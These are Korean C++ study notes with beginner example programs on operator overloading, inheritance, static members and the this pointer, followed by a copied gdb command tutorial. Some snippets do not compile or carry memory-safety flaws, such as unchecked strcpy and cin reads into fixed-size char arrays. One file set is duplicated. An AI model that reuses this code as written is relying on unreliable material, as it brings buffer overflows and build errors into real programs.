무릉동 이박사

#include<iostream>

using std::endl;
using std::ostream;
using std::cout;
using std::istream;
using std::cin;

class My
{
 friend ostream& operator<<(ostream &os, My &my);
 friend istream& operator>>(istream &os, My &my);
public:
 My(double _a, double _b):a(_a),b(_b){ }
 My()
 {
 }
private:
 double a,b;
};

int main()
{
 My m1(1.1,2.2);
 My m2(3.3,4.4);

 //cout 은 ostream의 객체
 //cin  은 istream의 객체
 
 //객체 출력
 //cout.operator<<(m1) //멤버함수에 의한 오버로딩 해결 불가능
 //operator<<(cout,m1); //전역함수에 의한 오버로딩으로 해결
 cout<<m1<<endl;
 cout<<m2<<endl;

 My m3;
 cout<<"실수 두개 입력 : ";

 cin>>m3;//operator>>(cin,m3)
 cout<<"m3 "<<m3<<endl;

 return 0;
}
//////////////////////////////////////////////////
//전역함수
ostream& operator<<(ostream &os, My &my)
{
 os<<my.a<<"  "<<my.b;
 return os;
}
istream& operator>>(istream &is, My &my)
{
 is>>my.a>>my.b;
 return is;
}

///////////////////////////////////////////////
int *p;
p=new int;
delete p;
////////////////////////////////////////////////
int *p;
p=new int[100];
delete []p;
///////////////////////////////////////////////
int *p[3];
p[0]=new int;
delte p[0];
//////////////////////////////////////////////
int *p[3]
p[0] = new int[100];
delete [] p[0];
//////////////////////////////////////////////

#include<iostream>

using std::cout;
using std::cin;
using std::endl;
using std::ostream;
using std::istream;

class MyString
{
 friend ostream& operator<<(ostream &os,MyString &ms);
 friend istream& operator>>(istream &is, MyString &ms);
public:
 MyString();
 MyString(char *pC);
 ~MyString();
private:
 char *ptr;

};

MyString::MyString()
{
 //#define NULL 0, 포인터가 가리키는 값이 없음
 ptr=NULL;
 cout<<"인수를 받지 않는 생성자 호출\n";
}
MyString::MyString(char *pC)
{
 ptr = new char[strlen(pC)+1];//동적할당
 strcpy(ptr,pC);//문자열 복사
}
MyString::~MyString()
{
 if(ptr!=NULL)
 {
  delete []ptr;//동적 할당 해제
  cout<<"동적 메모리 할당 해체\n";
 }
}
ostream& operator<<(ostream &os,MyString &ms)
{
 if(ms.ptr!=NULL)
 {
  os<<ms.ptr<<endl;
 }
 return os;
}
istream& operator>>(istream &is, MyString &ms)
{
 char temp[1024];
 is>>temp;

 ms.ptr= new char[strlen(temp)+1];
 strcpy(ms.ptr,temp);
 return is;
}
int main()
{
 MyString s1 = "hello world";
 MyString s2 = "time and tied wait for no man";
 MyString s3;

 cout<<"s1="<<s1<<endl;
 cout<<"s2="<<s2<<endl;

 cout<<"문자열입력 : ";
 cin>>s3; // operator>>(cin,s3);
 cout<<"s3="<<s3<<endl;

 return 0;
}

#include<iostream>

using std::cout;
using std::cin;
using std::endl;

//////////////////////////////////////////////////////////////////////
class My
{
 // 프렌드 함수 - 클래스와 전역 함수가 밀접한 관계를 갖는 경우 선언
 // 전역함수는 클래스의 모든 멤버를 자유롭게 접근
 friend My operator+(int n, My &my); //프렌드 함수
public:
 My(double _a=0, double _b=0);
 My operator+(int c);
 void Out();
private:
 double a,b;

};

My::My(double _a, double _b):a(_a),b(_b)
{ }
My My::operator+(int c)
{
 My temp ;
 temp.a=a+c;
 temp.b=b+c;
 
 return temp;
}
void My::Out()
{
 cout<<"a="<<a<<" "<<"b="<<b<<endl;
}

//////////////////////////////////////////
My operator+(int n, My &my)
{
 My temp;
 temp.a = n + my.a;
 temp.b = n + my.b;
 return temp;
}
int main()
{
 My m1(1.1,2.2);

 My m2;
 m2 = m1+10; // m1.operator+(10);

 m1.Out();
 m2.Out();
 
 My m3;
 //좌측 피연산자가 기본자료형이 되는 경우 클래스의 멤버 함수 호출 불가
 m3 = 10+m1; // m1.operator+(10);

 m3.Out();
 
 return 0;

}
A1 + A2
  1. 멤버 함수 : 좌측 호출 객체 + 우측 인수  -> A1.operator+(A2)
  2. 전역 함수 : 좌측 인수 + 우측 (인수)객체    ->  operator+(a1+a2);
++A
  1. 멤버 함수 : 호출 객체
    a.operator++();
  2. 전역 함수 : 인수
    operator++(a);

#include<iostream>

using std::cout;
using std::cin;
using std::endl;

/////////////////////////////////////////클래스 선언
class Point
{
 //프렌드 함수 선언
 friend Point& operator--(Point &pbar);
public:
 Point(int _a, int _b);
 Point& operator++();
 void Show();
private:
 int a, b;
};
///////////////////////////////////////외부 정의
Point::Point(int _a, int _b):a(_a),b(_b)
{
}
//Point&    레퍼런스로 리턴 시 복사본은 생성되지 않는다.( 참고 :Point* 주소로 받겠다.)
Point& Point::operator++()
{
 ++a;
 ++b;
 return *this; // this (주소) --> *this (주소가 가리키는 값)
}
///             this 호출한 객체의 주소저장되어있다!!!!!!!!!!!
void Point::Show()
{
 cout<<"a = "<<a<<" " <<" b = "<<b<<endl;
}
/////////////////////////////////////////전역 함수
Point& operator--(Point &pbar)
{
 --pbar.a;
 --pbar.b;
 return pbar;
}

int main()
{
 Point p(5,6);
 
 ++++p;
 p.Show(); //p.operator++();

 ------p;
 p.Show(); //operator--(p);
 
 return 0;

}

#include<iostream>

using std::cout;
using std::cin;
using std::endl;

//////////////////////////////////////////////
class MyClass
{
public:
 MyClass operator+(MyClass &my);// 덧셈 함수
 MyClass(double _a=0, double _b=0);//디폴트 파라미터를 갖는 생성자( 인수없이 객체 생성시

에 필요)
 
 void Out();//출력 함수
private:
 int a,b;
};

//////////////////////////////////////////////
MyClass::MyClass(double _a, double _b):a(_a),b(_b){}

MyClass MyClass::operator+(MyClass &my)
{
 MyClass temp;
 
 temp.a = a+my.a;
 temp.b = b+my.b;

 return temp;
}
void MyClass::Out()
{
 cout<<a<<" " <<b<<endl;
}

int main()
{
 MyClass m1(1.1,2.2);
 MyClass m2(1.1,2.2);
 MyClass m3;

// m3= m1.Add(m2);
 m3= m1+m2;//내부적으로 변환된 코드   ---> m1.operator+(m2)
 //좌측 피연산자 : 호출객체 , 함수 이름: operator[연산자], 우측 피연산자 : 인수
 m1.Out();
 m2.Out();
 m3.Out();

 return 0;
}

#include<iostream>

using std::cout;
using std::endl;
///////////////////////////////////////////
class Point
{
public:
 //생성자
 Point(int _a=0,int _b=0);
 //연산자 오버로딩 [==]
 bool operator==(Point &po);
 //연산자 오버로딩 [+]
 Point operator+(Point &pl);
 //연산자 오버로딩 [+=]
 Point operator+=(Point &pp);

 void show()const;
private:
 int a,b;
};

///////////////////////////////////////////
Point::Point(int _a,int _b):a(_a),b(_b){}
bool Point::operator==(Point &po)
{
 if(a==po.a&&b==po.b)
  return true;
 else
  return false;
}
Point Point::operator+(Point &pl)
{
 Point temp;
 temp.a=a+pl.a;
 temp.b=b+pl.b;

 return temp;
}
void Point::show()const
{
 cout<<"a : "<<a<<endl;
 cout<<"b : "<<b<<endl;
}
Point Point::operator+=(Point &pp)
{

 a+=pp.a;
 b+=pp.b;
 return *this;
}
int main()
{

 Point p1(2,1);
 Point p2(2,1);

 if(p1==p2)
   cout<<"같다"<<endl;
 else
   cout<<"다르다"<<endl;
 
 Point p3;
 p3=p1+p2;

 p3.show();

 p2+=p3;
 p2.show();

 p1+=p2+=p3;
 p1.show();

 return 0;
}

#include<iostream>

using std::cout;
using std::cin;
using std::endl;
//////////////////////////////////////// class 선언부

//추상 클래스 - 순수 가상 함수를 한개 이상 포함한 클래스
//절대로 객체 생성이 불가능 - 자식을 위해 틀을 만드는 클래스

class Animal
{
public:
 Animal()
 {

 }
 //순수 가상함수 - 반드시 오버라이딩해서 써야하는 함수
 //선언부만 있고 정의부는 없는 함수
 virtual void Speak()=0;
 virtual void Walk();
 //부모 클래스에 가상 함수가 포함되었다면 반드시 소멸자를 가상으로 추가해야한다.
 virtual ~Animal()
 {
  cout<<"~Animal소멸자"<<endl;
 }
};

class Dog : public Animal
{
public:
 virtual void Speak();
 ~Dog()
 {
  cout<<"~Dog 소멸자"<<endl;
 }
};

class Cat : public Animal
{
public:
 virtual void Speak();
 ~Cat()
 {
  cout<<"~Cat 소멸자"<<endl;
 }
};
class Pig: public Animal
{
public:
 virtual void Speak();
 ~Pig()
 {
  cout<<"~Pig 소멸자"<<endl;
 }
};
class Duck: public Animal
{
public:
 virtual void Speak();
 virtual void Walk();
 ~Duck()
 {
  cout<<"~Duck 소멸자"<<endl;
 }
};
//////////////////////////////////////////// 정의부
//void Animal::Speak(){ cout<<"기본 울음 소리";}
void Animal::Walk(){ cout<<"네발로 걷는다"<<endl;}
////////////////////
void Dog::Speak(){ cout<<"왈 왈 "<<endl;}
///////////////////
void Cat::Speak(){ cout<<"야옹"<<endl;}
//////////////////
void Pig::Speak(){ cout<<"꿀꿀"<<endl;}
//////////////////
void Duck::Speak(){ cout<<"꽥꽥"<<endl;}
void Duck::Walk(){ cout<<"두발로 걷는다"<<endl;}

int main()
{
 Animal *ptr; // 객체 포인터
 //ptr=new Animal;
 
 int n;

 while(1)
 {
  cout<<"\n1. dog  2.cat 3.pig 4.duck 5.exit\n";
  cout<<"choice :";
  cin>>n;
  switch(n)
  {
  case 1:
   ptr= new Dog;
   break;
  case 2:
   ptr= new Cat;
   break;
  case 3:
   ptr= new Pig;
   break;
  case 4:
   ptr= new Duck;
   break;
  default:
   exit(0);
 
  }
  ptr-> Speak();
  ptr->Walk();
  delete ptr;  //동적 객체 해제 => 소멸자 호출
 }
 return 0;
}

#ifndef _PRODUCT_H_
#define _PRODUCT_H_
#include"date.h"

class Product:public Date
{
public:
 Product(char *pN, char *fN, int _price, int _year, int _month, int _day);
 ~Product();
 void OutProduct()const;
 Product(const Product &pro) ;
private:
 char *p_name;
 char *f_name;
 int price;
};

#endif
--

//#include"date.h"
#include"product.h"
#include<iostream>

using std::cout;
using std::endl;

Product::Product(char *pN, char *fN, int _price, int _year, int _month, int _day):Date(_year, _month,_day)
{
 p_name = new char[strlen(pN)+1];
 strcpy(p_name,pN);
 f_name = new char[strlen(fN)+1];
 strcpy(f_name,fN);
 price = _price;
}
Product::~Product()
{
 delete []p_name;
 delete []f_name;
}
void Product::OutProduct()const
{
 cout<<"\t\t******** 상품정보 ******** "<<endl;
 cout<<"상품명 : "<<p_name<<endl;
 cout<<"제조사 : "<<f_name<<endl;
 cout<<"가  격 : "<<price<<endl;
 cout<<"제조 년/월/일 : "<<GetYear()<<'/'<<GetMonth()<<'/'<<GetDay()<<'/'<<endl;
}
Product::Product(const Product &pro) : Date(pro.GetYear(), pro.GetMonth(), pro.GetDay())
{// Date(pro)
 p_name = new char[strlen(pro.p_name)+1];
 strcpy(p_name,pro.p_name);
 f_name= new char[strlen(pro.f_name)+1];
 strcpy(f_name,pro.f_name);
 
 price= pro.price;
}

--

#ifndef _DATE_H_
#define _DATE_H_

class Date
{
public:
 Date(int _year, int _month, int _day);
 int GetYear()const;
 int GetMonth()const;
 int GetDay()const;
private:
 int year, month, day;
};

#endif


--

#include"date.h"

Date::Date(int _year, int _month, int _day)
{
 year=_year;
 month=_month;
 day=_day;
}
int Date::GetYear()const
{
 return year;
}
int Date::GetMonth()const
{
 return month;
}
int Date::GetDay()const
{
 return day;
}


--





#include<iostream>
#include"date.h"
#include"product.h"

int main()
{

 Product p("새우깡","농심",700,2005,3,4);
 Product p1("새우깡","농심",700,2005,3,4);
 Product p2 =p1;
 
 p.OutProduct();
 p1.OutProduct();
 p2.OutProduct();
 
 return 0;
}

#ifndef _PRODUCT_H_
#define _PRODUCT_H_
#include"date.h"

class Product:public Date
{
public:
 Product(char *pN, char *fN, int _price, int _year, int _month, int _day);
 ~Product();
 void OutProduct()const;
 Product(const Product &pro) ;
private:
 char *p_name;
 char *f_name;
 int price;
};

#endif
--

//#include"date.h"
#include"product.h"
#include<iostream>

using std::cout;
using std::endl;

Product::Product(char *pN, char *fN, int _price, int _year, int _month, int _day):Date(_year, _month,_day)
{
 p_name = new char[strlen(pN)+1];
 strcpy(p_name,pN);
 f_name = new char[strlen(fN)+1];
 strcpy(f_name,fN);
 price = _price;
}
Product::~Product()
{
 delete []p_name;
 delete []f_name;
}
void Product::OutProduct()const
{
 cout<<"\t\t******** 상품정보 ******** "<<endl;
 cout<<"상품명 : "<<p_name<<endl;
 cout<<"제조사 : "<<f_name<<endl;
 cout<<"가  격 : "<<price<<endl;
 cout<<"제조 년/월/일 : "<<GetYear()<<'/'<<GetMonth()<<'/'<<GetDay()<<'/'<<endl;
}
Product::Product(const Product &pro) : Date(pro.GetYear(), pro.GetMonth(), pro.GetDay())
{// Date(pro)
 p_name = new char[strlen(pro.p_name)+1];
 strcpy(p_name,pro.p_name);
 f_name= new char[strlen(pro.f_name)+1];
 strcpy(f_name,pro.f_name);
 
 price= pro.price;
}

--

#ifndef _DATE_H_
#define _DATE_H_

class Date
{
public:
 Date(int _year, int _month, int _day);
 int GetYear()const;
 int GetMonth()const;
 int GetDay()const;
private:
 int year, month, day;
};

#endif


--

#include"date.h"

Date::Date(int _year, int _month, int _day)
{
 year=_year;
 month=_month;
 day=_day;
}
int Date::GetYear()const
{
 return year;
}
int Date::GetMonth()const
{
 return month;
}
int Date::GetDay()const
{
 return day;
}


--





#include<iostream>
#include"date.h"
#include"product.h"

int main()
{

 Product p("새우깡","농심",700,2005,3,4);
 Product p1("새우깡","농심",700,2005,3,4);
 Product p2 =p1;
 
 p.OutProduct();
 p1.OutProduct();
 p2.OutProduct();
 
 return 0;
}

--------------------------------------------------------------------------------------
human.h
--------------------------------------------------------------------------------------

#ifndef _HUMAN_H_

#define _HUMAN_H_

class Human
{
public:
 void SetHuman(char *sN, int _sage);
 const char* GetName()const ;
 int GetAge() const;
protected:
 
private:
 char name[20];
 int age;
};

class Student:public Human
{
public:
 void SetStudent(char *pN, int _age, int _id, int _score);
 void ShowStudent() const;
private:
 int id;
 int score;
};

#endif



--------------------------------------------------------------------------------------
human.cpp
--------------------------------------------------------------------------------------
#include<iostream>
#include"human.h"

using std::cout;
using std::endl;

void Student::SetStudent(char *pN, int _age, int _id, int _score)
{
 //strcpy(name,pN);
 //age=_age;
 SetHuman(pN,_age);
 id=_id;
 score=_score;  
}
//상수화된 함수에서는 일반함수의 호출이 불가능
//상수화된 함수만 호출 할 수 있다.
void Student::ShowStudent()const
{
 cout<<GetName()<<"\t"<<GetAge()<<"\t"<<id<<"\t"<<score<<endl;
}

void Human::SetHuman(char *sN, int _sage)
{
 strcpy(name,sN);
 age=_sage;
}
//상수화된 함수에서는 멤버 변수의 주소 리턴이 불가능
//포인터가 가리키는 값을 상수화 시켜서 리턴하면 가능
const char* Human::GetName()const
{
 return name;
}
int Human::GetAge()const
{
 return age;
};


--------------------------------------------------------------------------------------
main.cpp
--------------------------------------------------------------------------------------
#include <iostream>
#include"human.h"
using std::cout;
using std::endl;
 
/************************************************
    다음과 같은 클래스를 디자인해보자.
 
    1. Human클래스
 
       - protected 멤버변수 : 이름, 나이       
         
    2. Student클래스 : Human클래스 상속
   
       - private 멤버변수 : 학번, 점수         
       - public 멤버함수 : SetStudent - 이름, 나이, 학번, 점수 초기화                         
                           ShowStudent - 이름, 나이, 학번, 점수 출력                         
     
    3. 파일분할하여 프로그램을 작성한다.
************************************************/
 

int main()
{
    Student s1, s2, s3; //객체생성
    s1.SetStudent("김수현", 25, 1111, 100); //초기화 함수 호출
    s2.SetStudent("장동건", 27, 1112, 90);
    s3.SetStudent("김태희", 32, 1113, 50);
   
    s1.ShowStudent(); //출력함수 호출
    s2.ShowStudent();
    s3.ShowStudent();
    return 0;
}

/********     객체 포인터       *********/

#include<iostream>

using std::cout;
using std::endl;
using std::cin;

class A
{
public:
 A(int _a,int _b)
 {
  a=_a;
  b=_b;
 }
 void show()
 {
  cout<<"a= "<<a<<", b= "<<b<<endl;
 }
private:
 int a,b;
};

int main()
{
 A *p[5];   // A 타입의 객체를 가리키는 포인터배열 5개
 
 for(int i=0;i<5;i++)
 {
  int a,b;
  cout<<"정수 두개입력 : ";
  cin >> a>>b;
  p[i] = new A(a,b*10);
 }

 for(i=0;i<5;i++)
 {
  p[i]->show();
 }
 
 for( i=0;i<5;i++)
 {
  delete p[i];
  // delete []p 는 []<- 이 가리키는 타입이 배열일경우 사용
 }

 return 0;
}

#include<iostream>

using std::cout;
using std::cin;
using std::endl;

class Telephone
{
public:
 Telephone(char *pN, char *pH)
 {
  strcpy(name,pN);
  strcpy(pnum,pH);

 }
 void showdata()
 {
  cout<<"이   름: "<<name<<"\t전화번호 : "<<pnum<<endl;
 }

private:
 
 char name[20];
 char pnum[20];
};

int main()
{
 Telephone *T[5];

 cout<<" ** 전화번호 입력 **"<<endl;

 for(int i=0;i<5;i++)
 {
  char name[20];
  char pnum[20];

  cout<<"이름 : ";
  cin>>name;
  cout<<"전화번호:";
  cin>>pnum;
  T[i]= new Telephone(name,pnum);
 }
 
 for(i=0;i<5;i++)
 {
  T[i]->showdata();
 }

 for(i=0;i<5;i++)
 {
  delete T[i];
 }

 return 0;
}

#ifndef _STUDENT_H_
#define _STUDENT_H_

class Student
{
public:
 //생성자 선언
 Student(char *pN, int _age);
 void OutStudentInfo() const;
 //정적 멤버 함수
 static void OutStudentCount();

private:
 char pn[20];
 int age;
 
 //멤버함수 상수화
 const int id;
 
 static int cnt;
 
};

#endif


------------------------------------------------------------------------
// student.cpp
------------------------------------------------------------------------
#include<iostream>
#include<string.h>
#include"student.h"

using std::cout;
using std::endl;
//   정적 멤버
//1. main 함수가 생성 되기 전에 메모리 할당 된다.
//2.객체 생성과 관계없이 사용할 수 있다.
//3. 클래스 내에 선언 되었지만 클래스 멤버가 아니다.
//4. 정적 멤버 변수의 초기화는 외부에서만 된다.
//5. 정적 멤버 외부 정의시 static 은 선언부에만
//6. 정적 멤버 함수는 정적 멤버 변수만 접근 가능하다.
//   (일반 멤버 변수는 접근 불가능 - const 멤버함수가 될 수 없다.)
////////////////////////////////////////////////////

//정적 멤버 초기화.
int Student::cnt=0;
void Student::OutStudentCount()
{

 cout<<"전체 학생수는 "<< cnt<<"입니다\n"<<endl;
}

//생성자 정의
Student::Student(char *pN, int _age):id(20041111+cnt)
{
 strcpy(pn,pN);
 age = _age;
 //학번 = 20041111+cnt;
 ++cnt;
}

void Student::OutStudentInfo() const
{
 cout<<"학번 : "<< id<<endl;
 cout<<"이름 : "<< pn << endl;
 cout<<"나이 : "<< age<<endl;
 cout<<"\n\n\n"<<endl;
}

------------------------------------------------------------------------
// main.cpp
------------------------------------------------------------------------
/*
    아래의 main함수가 수행될 수 있는 Student클래스를 구현해보자.
    
    - 학생정보는 학번, 이름, 나이로 구성된다.    
    - 학번은 20041111부터 차례로 1씩 증가 하도록 생성자에서 구현한다.
    
    - 멤버함수
        OutStudentCount : 전체 학생수를 출력
        OutStudentInfo :  학생정보를 출력
*/

 
#include <iostream>
#include "student.h"
using std::cout;
using std::cin;
using std::endl;

int main()
{
    Student st1("이순신", 25);
    Student st2("아무개", 38);
 
    Student::OutStudentCount();
 
    Student st3("홍길동", 29);
 
    Student::OutStudentCount();
 
    st1.OutStudentInfo();
    st2.OutStudentInfo();
    st3.OutStudentInfo();
 
    return 0;
}

/***************************
    this포인터
         
    - 객체선언 시 멤버 변수만 각각 할당되며, 멤버 함수는 공유한다.
      때문에 멤버 함수 호출 시 어떤 객체가 멤버 함수를 호출했는지 알 수 있도록
      함수의 인자로 객체의 주소를 전달한다.
       
    - 때문에 모든 클래스의 멤버 함수는 객체의 주소를 받을 수 있는 포인터를 인자로
      가지고 있어야 하는데 이 포인터 변수를 this포인터라 한다.
       
    - 즉, this포인터는 멤버 함수를 호출한 객체의 주소를 가리키는 포인터다.
***************************/

#include <iostream>
using std::cout;
using std::cin;
using std::endl;
 
class MyClass
{
public:   
    void Set(int _i, int _j) //void Set(MyClass *this, int _i, int _j)                            
    {
        i = _i;
        j = _j;
    }
 
    void Out() //void Out(MyClass *this)
    {
        cout << "i = " << i << ", j = " << j << endl;
    }
private:
    int i, j;
};

 
int main()
{
    MyClass ob;
    ob.Set(1, 10);  //Set(&ob, 1, 10)
    ob.Out();       //Out(&ob);
 
    return 0;
}

-----------------------------------------------------------------------------------------------------
Date.h
-----------------------------------------------------------------------------------------------------
#ifndef _DATE_H_
#define _DATE_H_

class Date
{
public:
 Date(int _y, int _m, int _d);
 void OutDate() const;
 int GetYear() const;
 int GetMonth() const;
 int GetDay() const;
private:
 int year;
 int month;
 int day;
};

#endif

-----------------------------------------------------------------------------------------------------
Date.cpp
-----------------------------------------------------------------------------------------------------

#include<iostream>
#include"Date.h"
using std::cout;
using std::endl;
 
Date::Date(int _y, int _m, int _d):year(_y),month(_m),day(_d)
{
}
void Date::OutDate() const
{
 cout<<year<<'/'<<month<<'/'<< day<<endl;
}
int Date::GetYear() const
{
 return year;
}
int Date::GetMonth() const
{
 return month;
}
int Date::GetDay() const
{
 return day;
}
-----------------------------------------------------------------------------------------------------
main.cpp
-----------------------------------------------------------------------------------------------------
#include <iostream>
#include"date.h"
using std::cout;
using std::endl;
using std::cin;

void main()
{   
    Date d1(2007, 3, 5);   
   
    d1.OutDate();
    cout << d1.GetYear() << '/' << d1.GetMonth() << '/' << d1.GetDay() << endl;
}

maniacs
psyoblade.egloos.com
Valley | Log-in
gdb 를 통한 디버깅 따라하기 

참고서적 : 유닉스 리눅스 프로그래밍 필수 유틸리티 : vi, make, gcc, gdb, cvs, rpm

1. 우선 컴파일 시에 디버깅 정보를 담아야 한다.
 gcc -g -o [프로그램명] [소스파일명]
 디버깅 옵션인 -g 으로 컴파일하며, 최적화 옵션인 -O 은 주지 않도록 한다.

2. 실행방법
 gdb [프로그램명]
 gdb [프로그램명] [core파일명]
 gdb [프로그램명] [실행중인프로세스pid]

3. 종료방법
 q
 Ctrl + d

4. 소스 찾아가기 (list)
 l   : main 함수를 기점으로 소스의 내용이 출력된다
 l 10  : 10 행 주변의 소스가 출력되는데 10 - 5 행부터 10 + 5행까지 총 10행이 출려된다.
 l func  : func 함수의 소스를 출력
 l -5  : 기본값으로 10줄이 출력된다고 가정하고, 다음에 출력될 라인이 11라인이라면, 10(마지막라인) - 5 라인을 중심으로 출력된다. 즉, 그대로 1~10라인이 출력된다.
 l a.c:func : a.c 파일의 func 함수부분을 출력
 l a.c:10 : a.c 파일의 10행을 기준으로 출력

5. 옵션
 set listsize 20 : 한번에 출력하는 행의 갯수를 20개로 늘린다.
 Enter  : 마지막으로 수행한 명령어를 다시 수행한다

6. 프로그램 실행, 종료 (run, kill)
 r   : 프로그램 수행 (재시작)
 r arg1 arg2 : arg1과 arg2를 인자로 프로그램 수행
 k   : 프로그램 수행종료

7. 역추적하기 (backtrace)
 bt   : 오류가 발생한 함수를 역으로 찾아간다.

8. 중단점 사용하기 (breakpoint, temporary breakpoint)
 b func  : func 함수에 브레이크 포인트 설정
 b 10  : 10행에 브레이크 포인트 설정
 b a.c:func : a.c파일의 func함수에 브레이크 포인트 설정
 b a.c:10 : a.c파일의 10행에 브레이크 포인트 설정
 b +2  : 현재 행에서 2개 행 이후 지점에 브레이크 포인트 설정
 b -2  : 현재 행에서 2개 행 이전 지점에 브레이크 포인트 설정
 b *0x8049000 : 0x8049000 주소에 브레이크 포인트 설정 (어셈블리로 디버깅 시 사용)
 b 10 if var == 0 : 10행에 브레이크 포인트를 설정해되, var 변수 값이 0일 때 작동
 tb   : 임시 중단점을 사용하는 것으로 한번만 설정되며, 그 이후에는 삭제된다.

9. 중단점 설정하기 (condition)
 condition 2 var == 0 : 고유번호가 2번인 브레이크포인트에 var변수가 0일 때 동작하라고 설정

10. 중단점 삭제하기 (clear, delete)
 cl func  : func 함수의 시작 부분에 브레이크 포인트 지움
 cl 10  : 10행의 브레이크 포인트 지움
 delete 1 : 고유번호 1번의 브레이크 포인트를 지운
 cl a.c:func : a.c 파일의 func함수의 브레이크 포인트 지움
 cl a.c:10 : a.c 파일의 10행의 브레이크 포인트 지움
 cl   : 모든 브레이크 포인트 지움

11. 중단점 정보보기 (information)
 info b  : 현재 설정된 브레이크 포인트의 정보를 보여준다
 방향키Up/Down : 방향키 Up/Down을 누르면 히스토리 기능을 제공한다
 info br + TAB : info br 로 시작하는 키워드가 히스토리에 있다면 뿌려준다
 info TAB + TAB : info 뒤에 올 수 있는 인자 리스트를 보여준다
 TAB + TAB  : 현재 사용가능한 모든 명령어 리스트를 보여준다

12. 중단점 비활성화, 활성화 하기 (enable, disable)
 disable 2 : 고유번호 2번인 브레이크 포인트 비활성화
 enable 2 : 고유번호 2번인 브레이크 포인트 활성화

13. 디버깅 하기 (step, next, continue, until, finish, return, step instruction, next instruction)
 s  : 현재 출력된 행을 수행하고 멈추지만, 함수의 경우 함수의 내부로 들어가서 수행된다
 s 5  : s를 5번 입력한 것과 동일
 n  : 현재 행을 수행하고 멈추지만, 함수의 경우 함수를 수행하고 넘어간다
 n 5  : n을 5번 입력한 것과 동일
 c  : 다음 브레이크 포인트를 만날때 까지 계속 수행한다
 u  : for 문에서 빠져나와서 다음 브레이크 포인트까지 수행한다.
 finish : 현재 함수를 수행하고 빠져나감
 return : 현재 함수를 수행하지 않고 빠져나감
 return 123 : 현재 함수를 수행하지 않고 빠져나감, 단, 리턴값은 123
 si  : 현재의 인스트럭션을 수행, 함수 호출 시 내부로 들어간다.
 ni  : 현재의 인스트럭션을 수행, 함수 호출 시 내부로 들어가지 않는다.

14. 감시점 설정 (watch)
 watch i : i변수에 와치포인트를 설정하고 i변수가 바뀔 때마다 브레이크가 걸리면서 이전값과 현재값을 출력한다.

15. 변수 정보보기 (info, print)
 info locals : 현재 상태에서 어떤 지역변수들이 있으며, 값은 어떠한지를 알 수 있다.
 info variables : 현재 상태에서의 전역변수 리스트를 확인할 수 있다.
 p lval  : lval 값을 확인한다.
 p func  : func 함수의 주소값을 확인한다.
 p pt  : pt가 구조체라면 구조체의 주소를 확인한다
 p *pt  : pt가 구조체라면 구조체의 값을 확인한다.
 p **pt  : *pt가 구조체라면 구조체의 값을 확인한다.
 info registers : 레지스트 값 전체를 한번에 확인한다.

16. 레지스트 값 및 포인터가 가리키는 구조체의 배열을 출력 (info, print)
 info all-registers : MMX 레지스트를포함하여 거의 대부분의 레지스트 값을 확인한다.
 p $eax  : eax 레지스트의 값을 확인한다. ( ex_ eax, ebx, ecx, edx, eip )
 p *pt@4  : 4크기의 배열로 gdb가 알 수 있으므로 4개의 크기만큼 가져와서 확인할 수 있다.

17. 중복된 변수명이 있는 경우 특정 변수를 지정해서 출력 (print)
 p 'main.c'::var : main.c 파일에 있는 전역변수인 var 변수의 값을 출력
 p hello::var : hello 함수에 포함된 static 변수인 var 변수의 값을 출력

18. 출력 형식의 지정
 p/t var : var 변수를 2진수로 출력
 p/o var : var 변수를 8진수로 출력
 p/d var : var 변수를 부호가 있는 10진수로 출력 (int)
 p/u var : var 변수를 부호가 없는 10진수로 출력 (unsigned int)
 p/x var : var 변수를 16진수로 출력
 p/c var : var 변수를 최초 1바이트 값을 문자형으로 출력
 p/f var : var 변수를 부동 소수점 값 형식으로 출력
 p/a addr : addr주소와 가장 가까운 심볼의 오프셋을 출력 ( ex_ main + 15 )

19. 타입이 틀릴 경우 타입을 변환하여 출력
 p (char*)vstr : 실제 컴파일 시에 (void *)형으로 되어있었다고 하더라도 (char *)로 캐스팅 하여 보여줌

20. 특정한 위치 지정
 p lstr + 4 : 예를 들어 lstr = "I like you." 라는 문자열은 "ke you."가 출력된다.

21. 변수 값 설정
 p lval = 1000 : 변수값 확인 이외에는 설정도 가능하다.

22. 출력명령 요약 (print)
 p [변수명]    : 변수 값을 출력
 p [함수명]    : 함수의 주소를 출력
 p/[출력형식] [변수명] : 변수 값을 출력 형식으로 출력
 p '[파일명]'::[변수명] : 파일명에 있는 전역변수 값을 출력
 p [함수명]::[변수명] : 함수에 있는 변수 값을 출력
 p [변수명]@[배열크기] : 변수의 내용을 변수 배열의 크기 형태로 출력

23. 디스플레이 명령 (display, undisplay)
 display [변수명]  : 변수 값을 매번 화면에 디스플레이
 display/[출력형식] [변수명] : 변수 값을 출력 형식으로 디스플레이
 undisplay [디스플레이번호] : 디스플레이 설정을 없앤다
 disable display [디스플레이번호] : 디스플레이를 일시 중단한다.
 enable display [디스플레이번호] : 디스플레이를 다시 활성화한다.

24. 스택이란
 스택의 경우는 상위 1기가는 커널에서 사용하며, 그 바로 아래 공간인 상위 0xBFFFFFFF 부터 하위로 늘어나게된다.
 상세한 디버깅을 위해서는 -g 옵션으로 디버깅 정보와 --save-temps 옵션을 통해 어셈블리 코드를 얻어낼 수 있다.
 상위 프레임으로 갈 수록 메인 함수에 가까워 지는 것이다.

25. 스택 프레임 관련 명령 (frame, up, down, info)
 frame [N] : n번 스택 프레임으로 변경
 up   : 상위 프레임으로 이동
 up [N]  : n번 상위 스택 프레임으로 이동
 down  : 하위 프레임으로 이동
 down [N] : n번 하위 스택 프레임으로 이동
 info frame : 현재 스택 프레임 정보를 출력
 info args : 현재 스택 프레임의 함수가 호출될 때 인자를 출력
 info locals : 현재 스택 프레임의 함수내의 지역변수를 출력
 info catch : 현재 스택 프레임의 함수내의 예외 핸들러를 출력

26. 스택 트레이스 하는법
 b main 또는 원하는 곳에 브레이크 포인트를 잡고
 오류가 발생할 때 까지 c를 통해 진행하면, 세그먼트 폴트 등의 오류가 발생하고 디버그가 멈추는데
 여기서 bt 를 통해서 전체 스택 프레임을 확인하고 어떤 함수에서 호출시에 문제가 발생하였는지 확인
 단, 일반적인 라이브러리에서는 오류발생 확률이 없다고 보고, 그 함수를 호출시에 문제를 의심한다.
 다시 프레임을 이동하면서, 로컬변수와 전역변수 등을 확인하면서 디버깅이 가능하다.

27. 메모리 상태 검사 (x)
 x/[범위][출력 형식][범위의 단위] : 메모리의 특정 범위의 값들을 확인할 수 있다.
 이렇게 메모리를 직접 읽어보는 일은 -g 옵션을 가지고 컴파일 되지 않은 실행파일을 디버깅 할때에 자주 사용된다.
 즉, x/10i main 과 같이 역 어셈블하여 해당 코드를 추측하는 것이다.

28. 출력형식
